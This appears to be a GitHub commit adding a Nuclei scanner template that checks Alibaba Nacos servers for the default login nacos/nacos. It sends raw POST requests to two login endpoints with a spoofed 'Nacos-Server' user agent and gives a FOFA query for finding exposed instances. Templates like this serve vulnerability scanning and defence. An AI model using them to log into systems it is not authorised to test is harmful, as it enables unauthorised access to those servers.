Merge pull request #8036 from projectdiscovery/nacos-default-password

Create nacos-default-password.yaml
patch-1
Ritik Chaddha 2023-08-22 17:34:38 +05:30 committed by GitHub
commit c940600ae8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 57 additions and 0 deletions

View File

@ -0,0 +1,57 @@
id: nacos-default-login
info:
name: Alibaba Nacos - Default Login
author: SleepingBag945
severity: high
description: |
The default username and password for Nacos are both nacos.
metadata:
max-request: 1
verified: true
fofa-query: title=="Nacos"
tags: nacos,default-login,alibaba
http:
- raw:
- |
POST /v1/auth/users/login HTTP/1.1
Host: {{Hostname}}
User-Agent: Nacos-Server
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
POST /nacos/v1/auth/users/login HTTP/1.1
Host: {{Hostname}}
User-Agent: Nacos-Server
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
attack: pitchfork
payloads:
username:
- nacos
password:
- nacos
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"accessToken":'
- '"username":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200